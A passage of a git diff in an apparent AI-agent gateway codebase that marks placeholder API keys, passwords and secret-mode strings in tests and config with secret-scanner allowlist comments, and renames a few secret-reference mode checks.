allowlist secret source: "shell env: OPENAI_API_KEY", }; } if (provider === "anthropic") { return { - apiKey: "sk-ant-oat01-ACCESS-TOKEN-1234567890", + apiKey: "sk-ant-oat01-ACCESS-TOKEN-1234567890", // pragma: allowlist secret source: "env: ANTHROPIC_OAUTH_TOKEN", }; } @@ -231,7 +231,7 @@ describe("modelsStatusCommand auth overview", () => { it("does not emit raw short api-key values in JSON labels", async () => { const localRuntime = createRuntime(); - const shortSecret = "abc123"; + const shortSecret = "abc123"; // pragma: allowlist secret const originalProfiles = { ...mocks.store.profiles }; mocks.store.profiles = { ...mocks.store.profiles, diff --git a/src/commands/onboard-auth.credentials.ts b/src/commands/onboard-auth.credentials.ts index 2cf9c25b689..c32a3ea9ae6 100644 --- a/src/commands/onboard-auth.credentials.ts +++ b/src/commands/onboard-auth.credentials.ts @@ -63,7 +63,8 @@ function resolveApiKeySecretInput( if (inlineEnvRef) { return inlineEnvRef; } - if (options?.secretInputMode === "ref") { + const useSecretRefMode = options?.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { return resolveProviderDefaultEnvSecretRef(provider); } return normalized; diff --git a/src/commands/onboard-custom.test.ts b/src/commands/onboard-custom.test.ts index 374f188dc62..b04f7bc08ab 100644 --- a/src/commands/onboard-custom.test.ts +++ b/src/commands/onboard-custom.test.ts @@ -429,7 +429,7 @@ describe("parseNonInteractiveCustomApiFlags", () => { baseUrl: "https://llm.example.com/v1", modelId: "foo-large", compatibility: "openai", - apiKey: "custom-test-key", + apiKey: "custom-test-key", // pragma: allowlist secret providerId: "my-custom", }); }); diff --git a/src/commands/onboard-non-interactive.provider-auth.test.ts b/src/commands/onboard-non-interactive.provider-auth.test.ts index 077b2c6d672..390d19b0154 100644 --- a/src/commands/onboard-non-interactive.provider-auth.test.ts +++ b/src/commands/onboard-non-interactive.provider-auth.test.ts @@ -184,7 +184,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-minimax-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "minimax-api", - minimaxApiKey: "sk-minimax-test", + minimaxApiKey: "sk-minimax-test", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["minimax:default"]?.provider).toBe("minimax"); @@ -203,7 +203,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-minimax-cn-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "minimax-api-key-cn", - minimaxApiKey: "sk-minimax-test", + minimaxApiKey: "sk-minimax-test", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["minimax-cn:default"]?.provider).toBe("minimax-cn"); @@ -222,7 +222,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-zai-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "zai-api-key", - zaiApiKey: "zai-test-key", + zaiApiKey: "zai-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["zai:default"]?.provider).toBe("zai"); @@ -237,7 +237,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-zai-cn-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "zai-coding-cn", - zaiApiKey: "zai-test-key", + zaiApiKey: "zai-test-key", // pragma: allowlist secret }); expect(cfg.models?.providers?.zai?.baseUrl).toBe( @@ -264,7 +264,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers Mistral auth choice from --mistral-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-mistral-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - mistralApiKey: "mistral-test-key", + mistralApiKey: "mistral-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["mistral:default"]?.provider).toBe("mistral"); @@ -282,7 +282,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-volcengine-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "volcengine-api-key", - volcengineApiKey: "volcengine-test-key", + volcengineApiKey: "volcengine-test-key", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe("volcengine-plan/ark-code-latest"); @@ -292,7 +292,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers BytePlus auth choice from --byteplus-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-byteplus-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - byteplusApiKey: "byteplus-test-key", + byteplusApiKey: "byteplus-test-key", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe("byteplus-plan/ark-code-latest"); @@ -303,7 +303,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-ai-gateway-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "ai-gateway-api-key", - aiGatewayApiKey: "gateway-test-key", + aiGatewayApiKey: "gateway-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["vercel-ai-gateway:default"]?.provider).toBe("vercel-ai-gateway"); @@ -350,7 +350,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-openai-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "openai-api-key", - openaiApiKey: "sk-openai-test", + openaiApiKey: "sk-openai-test", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe(OPENAI_DEFAULT_MODEL); @@ -410,10 +410,10 @@ describe("onboard (non-interactive): provider auth", () => { "fails fast for $name when --secret-input-mode ref uses explicit key without env and does not leak the key", async ({ prefix, authChoice, optionKey, flagName, envVar }) => { await withOnboardEnv(prefix, async ({ runtime }) => { - const providedSecret = `${envVar.toLowerCase()}-should-not-leak`; + const providedSecret = `${envVar.toLowerCase()}-should-not-leak`; // pragma: allowlist secret const options: Record = { authChoice, - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret [optionKey]: providedSecret, skipSkills: true, }; @@ -447,12 +447,12 @@ describe("onboard (non-interactive): provider auth", () => { await withEnvAsync( { OPENCODE_API_KEY: undefined, - OPENCODE_ZEN_API_KEY: "opencode-zen-env-key", + OPENCODE_ZEN_API_KEY: "opencode-zen-env-key", // pragma: allowlist secret }, async () => { await runNonInteractiveOnboardingWithDefaults(runtime, { authChoice: "opencode-zen", - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret skipSkills: true, }); @@ -487,7 +487,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-litellm-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "litellm-api-key", - litellmApiKey: "litellm-test-key", + litellmApiKey: "litellm-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["litellm:default"]?.provider).toBe("litellm"); @@ -519,7 +519,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { cloudflareAiGatewayAccountId: "cf-account-id", cloudflareAiGatewayGatewayId: "cf-gateway-id", - cloudflareAiGatewayApiKey: "cf-gateway-test-key", + cloudflareAiGatewayApiKey: "cf-gateway-test-key", // pragma: allowlist secret skipSkills: true, ...options, }); @@ -543,7 +543,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers Together auth choice from --together-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-together-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - togetherApiKey: "together-test-key", + togetherApiKey: "together-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["together:default"]?.provider).toBe("together"); @@ -560,7 +560,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers QIANFAN auth choice from --qianfan-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-qianfan-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - qianfanApiKey: "qianfan-test-key", + qianfanApiKey: "qianfan-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["qianfan:default"]?.provider).toBe("qianfan"); @@ -579,7 +579,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { authChoice: "custom-api-key", customBaseUrl: "https://llm.example.com/v1", - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret customModelId: "foo-large", customCompatibility: "anthropic", skipSkills: true, @@ -603,7 +603,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { customBaseUrl: "https://models.custom.local/v1", customModelId: "local-large", - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret skipSkills: true, }); @@ -624,7 +624,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv( "openclaw-onboard-custom-provider-env-fallback-", async ({ configPath, runtime }) => { - process.env.CUSTOM_API_KEY = "custom-env-key"; + process.env.CUSTOM_API_KEY = "custom-env-key"; // pragma: allowlist secret await runCustomLocalNonInteractive(runtime); expect(await readCustomLocalProviderApiKey(configPath)).toBe("custom-env-key"); }, @@ -635,9 +635,9 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv( "openclaw-onboard-custom-provider-env-ref-", async ({ configPath, runtime }) => { - process.env.CUSTOM_API_KEY = "custom-env-key"; + process.env.CUSTOM_API_KEY = "custom-env-key"; // pragma: allowlist secret await runCustomLocalNonInteractive(runtime, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }); expect(await readCustomLocalProviderApiKeyInput(configPath)).toEqual({ source: "env", @@ -650,12 +650,12 @@ describe("onboard (non-interactive): provider auth", () => { it("fails fast for custom provider ref mode when --custom-api-key is set but CUSTOM_API_KEY env is missing", async () => { await withOnboardEnv("openclaw-onboard-custom-provider-ref-flag-", async ({ runtime }) => { - const providedSecret = "custom-inline-key-should-not-leak"; + const providedSecret = "custom-inline-key-should-not-leak"; // pragma: allowlist secret await withEnvAsync({ CUSTOM_API_KEY: undefined }, async () => { let thrown: Error | undefined; try { await runCustomLocalNonInteractive(runtime, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret customApiKey: providedSecret, }); } catch (error) { @@ -731,7 +731,7 @@ describe("onboard (non-interactive): provider auth", () => { async ({ runtime }) => { await expect( runNonInteractiveOnboardingWithDefaults(runtime, { - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret skipSkills: true, }), ).rejects.toThrow('Auth choice "custom-api-key" requires a base URL and model ID.'); diff --git a/src/commands/onboard-non-interactive/api-keys.ts b/src/commands/onboard-non-interactive/api-keys.ts index e55943e22d5..1ee88e678dd 100644 --- a/src/commands/onboard-non-interactive/api-keys.ts +++ b/src/commands/onboard-non-interactive/api-keys.ts @@ -70,7 +70,8 @@ export async function resolveNonInteractiveApiKey(params: { const resolvedEnvKey = envResolved?.apiKey ?? explicitEnvKey; const resolvedEnvVarName = parseEnvVarNameFromSourceLabel(envResolved?.source) ?? explicitEnvVar; - if (params.secretInputMode === "ref") { + const useSecretRefMode = params.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { if (!resolvedEnvKey && flagKey) { params.runtime.error( [ diff --git a/src/commands/onboard-non-interactive/local/auth-choice.ts b/src/commands/onboard-non-interactive/local/auth-choice.ts index 88710fa1b63..98eef51dd20 100644 --- a/src/commands/onboard-non-interactive/local/auth-choice.ts +++ b/src/commands/onboard-non-interactive/local/auth-choice.ts @@ -91,7 +91,8 @@ export async function applyNonInteractiveAuthChoice(params: { ? { secretInputMode: requestedSecretInputMode } : undefined; const toStoredSecretInput = (resolved: ResolvedNonInteractiveApiKey): SecretInput | null => { - if (requestedSecretInputMode !== "ref") { + const storePlaintextSecret = requestedSecretInputMode !== "ref"; // pragma: allowlist secret + if (storePlaintextSecret) { return resolved.key; } if (resolved.source !== "env") { @@ -948,7 +949,8 @@ export async function applyNonInteractiveAuthChoice(params: { }); let customApiKeyInput: SecretInput | undefined; if (resolvedCustomApiKey) { - if (requestedSecretInputMode === "ref") { + const storeCustomApiKeyAsRef = requestedSecretInputMode === "ref"; // pragma: allowlist secret + if (storeCustomApiKeyAsRef) { const stored = toStoredSecretInput(resolvedCustomApiKey); if (!stored) { return null; diff --git a/src/commands/onboard-search.test.ts b/src/commands/onboard-search.test.ts index d8ed9e8ce6f..e1f77bfff68 100644 --- a/src/commands/onboard-search.test.ts +++ b/src/commands/onboard-search.test.ts @@ -121,7 +121,7 @@ describe("setupSearch", () => { web: { search: { provider: "perplexity", - perplexity: { apiKey: "existing-key" }, + perplexity: { apiKey: "existing-key" }, // pragma: allowlist secret }, }, }, @@ -142,7 +142,7 @@ describe("setupSearch", () => { search: { provider: "perplexity", enabled: false, - perplexity: { apiKey: "existing-key" }, + perplexity: { apiKey: "existing-key" }, // pragma: allowlist secret }, }, }, @@ -162,7 +162,7 @@ describe("setupSearch", () => { web: { search: { provider: "perplexity", - perplexity: { apiKey: "stored-pplx-key" }, + perplexity: { apiKey: "stored-pplx-key" }, // pragma: allowlist secret }, }, }, @@ -184,7 +184,7 @@ describe("setupSearch", () => { search: { provider: "perplexity", enabled: false, - perplexity: { apiKey: "stored-pplx-key" }, + perplexity: { apiKey: "stored-pplx-key" }, // pragma: allowlist secret }, }, }, @@ -212,7 +212,7 @@ describe("setupSearch", () => { it("quickstart skips key prompt when env var is available", async () => { const orig = process.env.BRAVE_API_KEY; - process.env.BRAVE_API_KEY = "env-brave-key"; + process.env.BRAVE_API_KEY = "env-brave-key"; // pragma: allowlist secret try { const cfg: OpenClawConfig = {}; const { prompter } = createPrompter({ selectValue: "brave" }); @@ -235,13 +235,13 @@ describe("setupSearch", () => { const cfg: OpenClawConfig = {}; const { prompter } = createPrompter({ selectValue: "perplexity" }); const result = await setupSearch(cfg, runtime, prompter, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }); expect(result.tools?.web?.search?.provider).toBe("perplexity"); expect(result.tools?.web?.search?.perplexity?.apiKey).toEqual({ source: "env", provider: "default", - id: "PERPLEXITY_API_KEY", + id: "PERPLEXITY_API_KEY", // pragma: allowlist secret }); expect(prompter.text).not.toHaveBeenCalled(); }); @@ -250,7 +250,7 @@ describe("setupSearch", () => { const cfg: OpenClawConfig = {}; const { prompter } = createPrompter({ selectValue: "brave" }); const result = await setupSearch(cfg, runtime, prompter, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }); expect(result.tools?.web?.search?.provider).toBe("brave"); expect(result.tools?.web?.search?.apiKey).toEqual({ diff --git a/src/commands/onboard-search.ts b/src/commands/onboard-search.ts index fa12720a25f..f5e06a44f96 100644 --- a/src/commands/onboard-search.ts +++ b/src/commands/onboard-search.ts @@ -115,7 +115,8 @@ function resolveSearchSecretInput( key: string, secretInputMode?: SecretInputMode, ): SecretInput { - if (secretInputMode === "ref") { + const useSecretRefMode = secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { return buildSearchEnvRef(provider); } return key; @@ -254,7 +255,8 @@ export async function setupSearch( return preserveDisabledState(config, result); } - if (opts?.secretInputMode === "ref") { + const useSecretRefMode = opts?.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { if (keyConfigured) { return preserveDisabledState(config, applyProviderOnly(config, choice)); } diff --git a/src/commands/onboard-types.ts b/src/commands/onboard-types.ts index 9e664b9a66d..7e938430517 100644 --- a/src/commands/onboard-types.ts +++ b/src/commands/onboard-types.ts @@ -87,7 +87,7 @@ export type NodeManagerChoice = "npm" | "pnpm" | "bun"; export type ChannelChoice = ChannelId; // Legacy alias (pre-rename). export type ProviderChoice = ChannelChoice; -export type SecretInputMode = "plaintext" | "ref"; +export type SecretInputMode = "plaintext" | "ref"; // pragma: allowlist secret export type OnboardOptions = { mode?: OnboardMode; diff --git a/src/commands/onboard.test.ts b/src/commands/onboard.test.ts index 4fa6b04cc12..1233222bf54 100644 --- a/src/commands/onboard.test.ts +++ b/src/commands/onboard.test.ts @@ -47,7 +47,7 @@ describe("onboardCommand", () => { await onboardCommand( { - secretInputMode: "invalid" as never, + secretInputMode: "invalid" as never, // pragma: allowlist secret }, runtime, ); diff --git a/src/commands/onboard.ts b/src/commands/onboard.ts index 1901d70e08f..9c55bddf1d6 100644 --- a/src/commands/onboard.ts +++ b/src/commands/onboard.ts @@ -39,8 +39,8 @@ export async function onboardCommand(opts: OnboardOptions, runtime: RuntimeEnv = : { ...opts, authChoice: normalizedAuthChoice, flow }; if ( normalizedOpts.secretInputMode && - normalizedOpts.secretInputMode !== "plaintext" && - normalizedOpts.secretInputMode !== "ref" + normalizedOpts.secretInputMode !== "plaintext" && // pragma: allowlist secret + normalizedOpts.secretInputMode !== "ref" // pragma: allowlist secret ) { runtime.error('Invalid --secret-input-mode. Use "plaintext" or "ref".'); runtime.exit(1); diff --git a/src/commands/status-all/channels.mattermost-token-summary.test.ts b/src/commands/status-all/channels.mattermost-token-summary.test.ts index 3d0a84d3ee6..3c028ba44d1 100644 --- a/src/commands/status-all/channels.mattermost-token-summary.test.ts +++ b/src/commands/status-all/channels.mattermost-token-summary.test.ts @@ -236,9 +236,9 @@ function makeHttpSlackUnavailablePlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }), resolveAccount: () => ({ name: "Primary", @@ -248,9 +248,9 @@ function makeHttpSlackUnavailablePlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }), isConfigured: () => true, isEnabled: () => true, diff --git a/src/commands/status-all/channels.ts b/src/commands/status-all/channels.ts index bfa4fa03112..cf3a67a99b5 100644 --- a/src/commands/status-all/channels.ts +++ b/src/commands/status-all/channels.ts @@ -177,7 +177,10 @@ const buildAccountNotes = (params: { if (snapshot.appTokenSource && snapshot.appTokenSource !== "none") { notes.push(`app:${snapshot.appTokenSource}`); } - if (snapshot.signingSecretSource && snapshot.signingSecretSource !== "none") { + if ( + snapshot.signingSecretSource && + snapshot.signingSecretSource !== "none" /* pragma: allowlist secret */ + ) { notes.push(`signing:${snapshot.signingSecretSource}`); } if (hasConfiguredUnavailableCredentialStatus(entry.account)) { diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index ee760f2d23f..dbf416865b7 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -150,7 +150,7 @@ export const FIELD_HELP: Record = { "talk.providers.*.voiceAliases": "Optional provider voice alias map for Talk directives.", "talk.providers.*.modelId": "Provider default model ID for Talk mode.", "talk.providers.*.outputFormat": "Provider default output format for Talk mode.", - "talk.providers.*.apiKey": "Provider API key for Talk mode.", + "talk.providers.*.apiKey": "Provider API key for Talk mode.", // pragma: allowlist secret "talk.voiceId": "Legacy ElevenLabs default voice ID for Talk mode. Prefer talk.providers.elevenlabs.voiceId.", "talk.voiceAliases": @@ -651,7 +651,7 @@ export const FIELD_HELP: Record = { "tools.web.search.gemini.apiKey": "Gemini API key for Google Search grounding (fallback: GEMINI_API_KEY env var).", "tools.web.search.gemini.model": 'Gemini model override (default: "gemini-2.5-flash").', - "tools.web.search.grok.apiKey": "Grok (xAI) API key (fallback: XAI_API_KEY env var).", + "tools.web.search.grok.apiKey": "Grok (xAI) API key (fallback: XAI_API_KEY env var).", // pragma: allowlist secret "tools.web.search.grok.model": 'Grok model override (default: "grok-4-1-fast").', "tools.web.search.kimi.apiKey": "Moonshot/Kimi API key (fallback: KIMI_API_KEY or MOONSHOT_API_KEY env var).", diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index a5fec8dadcf..bf7b401f943 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -217,14 +217,14 @@ export const FIELD_LABELS: Record = { "tools.web.search.maxResults": "Web Search Max Results", "tools.web.search.timeoutSeconds": "Web Search Timeout (sec)", "tools.web.search.cacheTtlMinutes": "Web Search Cache TTL (min)", - "tools.web.search.perplexity.apiKey": "Perplexity API Key", + "tools.web.search.perplexity.apiKey": "Perplexity API Key", // pragma: allowlist secret "tools.web.search.perplexity.baseUrl": "Perplexity Base URL", "tools.web.search.perplexity.model": "Perplexity Model", - "tools.web.search.gemini.apiKey": "Gemini Search API Key", + "tools.web.search.gemini.apiKey": "Gemini Search API Key", // pragma: allowlist secret "tools.web.search.gemini.model": "Gemini Search Model", - "tools.web.search.grok.apiKey": "Grok Search API Key", + "tools.web.search.grok.apiKey": "Grok Search API Key", // pragma: allowlist secret "tools.web.search.grok.model": "Grok Search Model", - "tools.web.search.kimi.apiKey": "Kimi Search API Key", + "tools.web.search.kimi.apiKey": "Kimi Search API Key", // pragma: allowlist secret "tools.web.search.kimi.baseUrl": "Kimi Search Base URL", "tools.web.search.kimi.model": "Kimi Search Model", "tools.web.fetch.enabled": "Enable Web Fetch Tool", @@ -236,7 +236,7 @@ export const FIELD_LABELS: Record = { "tools.web.fetch.userAgent": "Web Fetch User-Agent", "tools.web.fetch.readability": "Web Fetch Readability Extraction", "tools.web.fetch.firecrawl.enabled": "Enable Firecrawl Fallback", - "tools.web.fetch.firecrawl.apiKey": "Firecrawl API Key", + "tools.web.fetch.firecrawl.apiKey": "Firecrawl API Key", // pragma: allowlist secret "tools.web.fetch.firecrawl.baseUrl": "Firecrawl Base URL", "tools.web.fetch.firecrawl.onlyMainContent": "Firecrawl Main Content Only", "tools.web.fetch.firecrawl.maxAgeMs": "Firecrawl Cache Max Age (ms)", @@ -411,7 +411,7 @@ export const FIELD_LABELS: Record = { "models.mode": "Model Catalog Mode", "models.providers": "Model Providers", "models.providers.*.baseUrl": "Model Provider Base URL", - "models.providers.*.apiKey": "Model Provider API Key", + "models.providers.*.apiKey": "Model Provider API Key", // pragma: allowlist secret "models.providers.*.auth": "Model Provider Auth Mode", "models.providers.*.api": "Model Provider API Adapter", "models.providers.*.injectNumCtxForOpenAICompat": "Model Provider Inject num_ctx (OpenAI Compat)", @@ -484,7 +484,7 @@ export const FIELD_LABELS: Record = { "commands.useAccessGroups": "Use Access Groups", "commands.ownerAllowFrom": "Command Owners", "commands.ownerDisplay": "Owner ID Display", - "commands.ownerDisplaySecret": "Owner ID Hash Secret", + "commands.ownerDisplaySecret": "Owner ID Hash Secret", // pragma: allowlist secret "commands.allowFrom": "Command Elevated Access Rules", ui: "UI", "ui.seamColor": "Accent Color", @@ -679,8 +679,8 @@ export const FIELD_LABELS: Record = { "talk.providers.*.voiceAliases": "Talk Provider Voice Aliases", "talk.providers.*.modelId": "Talk Provider Model ID", "talk.providers.*.outputFormat": "Talk Provider Output Format", - "talk.providers.*.apiKey": "Talk Provider API Key", - "talk.apiKey": "Talk API Key", + "talk.providers.*.apiKey": "Talk Provider API Key", // pragma: allowlist secret + "talk.apiKey": "Talk API Key", // pragma: allowlist secret channels: "Channels", "channels.defaults": "Channel Defaults", "channels.defaults.groupPolicy": "Default Group Policy", @@ -823,7 +823,7 @@ export const FIELD_LABELS: Record = { "plugins.entries.*.enabled": "Plugin Enabled", "plugins.entries.*.hooks": "Plugin Hook Policy", "plugins.entries.*.hooks.allowPromptInjection": "Allow Prompt Injection Hooks", - "plugins.entries.*.apiKey": "Plugin API Key", + "plugins.entries.*.apiKey": "Plugin API Key", // pragma: allowlist secret "plugins.entries.*.env": "Plugin Environment Variables", "plugins.entries.*.config": "Plugin Config", "plugins.installs": "Plugin Install Records", diff --git a/src/config/types.secrets.ts b/src/config/types.secrets.ts index 40a6963f2d8..687f00a212a 100644 --- a/src/config/types.secrets.ts +++ b/src/config/types.secrets.ts @@ -1,4 +1,4 @@ -export type SecretRefSource = "env" | "file" | "exec"; +export type SecretRefSource = "env" | "file" | "exec"; // pragma: allowlist secret /** * Stable identifier for a secret in a configured source. @@ -14,7 +14,7 @@ export type SecretRef = { }; export type SecretInput = string | SecretRef; -export const DEFAULT_SECRET_PROVIDER_ALIAS = "default"; +export const DEFAULT_SECRET_PROVIDER_ALIAS = "default"; // pragma: allowlist secret export const ENV_SECRET_REF_ID_RE = /^[A-Z][A-Z0-9_]{0,127}$/; const ENV_SECRET_TEMPLATE_RE = /^\$\{([A-Z][A-Z0-9_]{0,127})\}$/; type SecretDefaults = { @@ -179,7 +179,7 @@ export type EnvSecretProviderConfig = { allowlist?: string[]; }; -export type FileSecretProviderMode = "singleValue" | "json"; +export type FileSecretProviderMode = "singleValue" | "json"; // pragma: allowlist secret export type FileSecretProviderConfig = { source: "file"; diff --git a/src/gateway/auth-mode-policy.test.ts b/src/gateway/auth-mode-policy.test.ts index 50b62f6bcfb..81907f7e3a2 100644 --- a/src/gateway/auth-mode-policy.test.ts +++ b/src/gateway/auth-mode-policy.test.ts @@ -13,7 +13,7 @@ describe("gateway auth mode policy", () => { auth: { mode: "token", token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; @@ -36,7 +36,7 @@ describe("gateway auth mode policy", () => { gateway: { auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; @@ -65,7 +65,7 @@ describe("gateway auth mode policy", () => { gateway: { auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; diff --git a/src/gateway/auth.ts b/src/gateway/auth.ts index b55482b304d..467d14d4337 100644 --- a/src/gateway/auth.ts +++ b/src/gateway/auth.ts @@ -252,7 +252,7 @@ export function resolveGatewayAuth(params: { env, includeLegacyEnv: false, tokenPrecedence: "config-first", - passwordPrecedence: "config-first", + passwordPrecedence: "config-first", // pragma: allowlist secret }); const token = resolvedCredentials.token; const password = resolvedCredentials.password; diff --git a/src/gateway/call.ts b/src/gateway/call.ts index ba1e079e455..fa140608216 100644 --- a/src/gateway/call.ts +++ b/src/gateway/call.ts @@ -358,7 +358,7 @@ async function resolveGatewayCredentialsWithEnv( explicitAuth: context.explicitAuth, urlOverride: context.urlOverride, urlOverrideSource: context.urlOverrideSource, - remotePasswordPrecedence: "env-first", + remotePasswordPrecedence: "env-first", // pragma: allowlist secret }); } @@ -487,7 +487,7 @@ async function resolveGatewayCredentialsWithEnv( explicitAuth: context.explicitAuth, urlOverride: context.urlOverride, urlOverrideSource: context.urlOverrideSource, - remotePasswordPrecedence: "env-first", + remotePasswordPrecedence: "env-first", // pragma: allowlist secret }); } diff --git a/src/gateway/credentials.ts b/src/gateway/credentials.ts index c1172a09029..88c8a86088b 100644 --- a/src/gateway/credentials.ts +++ b/src/gateway/credentials.ts @@ -16,7 +16,7 @@ export type GatewayCredentialPrecedence = "env-first" | "config-first"; export type GatewayRemoteCredentialPrecedence = "remote-first" | "env-first"; export type GatewayRemoteCredentialFallback = "remote-env-local" | "remote-only"; -const GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE = "GATEWAY_SECRET_REF_UNAVAILABLE"; +const GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE = "GATEWAY_SECRET_REF_UNAVAILABLE"; // pragma: allowlist secret export class GatewaySecretRefUnavailableError extends Error { readonly code = GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE; @@ -119,7 +119,7 @@ export function resolveGatewayCredentialsFromValues(params: { ? firstDefined([configToken, envToken]) : firstDefined([envToken, configToken]); const password = - passwordPrecedence === "config-first" + passwordPrecedence === "config-first" // pragma: allowlist secret ? firstDefined([configPassword, envPassword]) : firstDefined([envPassword, configPassword]); @@ -158,7 +158,7 @@ export function resolveGatewayCredentialsFromConfig(params: { env, includeLegacyEnv, tokenPrecedence: "env-first", - passwordPrecedence: "env-first", + passwordPrecedence: "env-first", // pragma: allowlist secret }); } @@ -243,9 +243,9 @@ export function resolveGatewayCredentialsFromConfig(params: { ? firstDefined([envToken, remoteToken, localToken]) : firstDefined([remoteToken, envToken, localToken]); const password = - remotePasswordFallback === "remote-only" + remotePasswordFallback === "remote-only" // pragma: allowlist secret ? remotePassword - : remotePasswordPrecedence === "env-first" + : remotePasswordPrecedence === "env-first" // pragma: allowlist secret ? firstDefined([envPassword, remotePassword, localPassword]) : firstDefined([remotePassword, envPassword, localPassword]); @@ -255,7 +255,7 @@ export function resolveGatewayCredentialsFromConfig(params: { const localTokenFallbackEnabled = remoteTokenFallback !== "remote-only"; const localTokenFallback = remoteTokenFallback === "remote-only" ? undefined : localToken; const localPasswordFallback = - remotePasswordFallback === "remote-only" ? undefined : localPassword; + remotePasswordFallback === "remote-only" ? undefined : localPassword; // pragma: allowlist secret if (remoteTokenRef && !token && !envToken && !localTokenFallback && !password) { throwUnresolvedGatewaySecretInput("gateway.remote.token"); } diff --git a/src/gateway/protocol/connect-error-details.ts b/src/gateway/protocol/connect-error-details.ts index 62286092671..442e8f2c54d 100644 --- a/src/gateway/protocol/connect-error-details.ts +++ b/src/gateway/protocol/connect-error-details.ts @@ -4,9 +4,9 @@ export const ConnectErrorDetailCodes = { AUTH_TOKEN_MISSING: "AUTH_TOKEN_MISSING", AUTH_TOKEN_MISMATCH: "AUTH_TOKEN_MISMATCH", AUTH_TOKEN_NOT_CONFIGURED: "AUTH_TOKEN_NOT_CONFIGURED", - AUTH_PASSWORD_MISSING: "AUTH_PASSWORD_MISSING", - AUTH_PASSWORD_MISMATCH: "AUTH_PASSWORD_MISMATCH", - AUTH_PASSWORD_NOT_CONFIGURED: "AUTH_PASSWORD_NOT_CONFIGURED", + AUTH_PASSWORD_MISSING: "AUTH_PASSWORD_MISSING", // pragma: allowlist secret + AUTH_PASSWORD_MISMATCH: 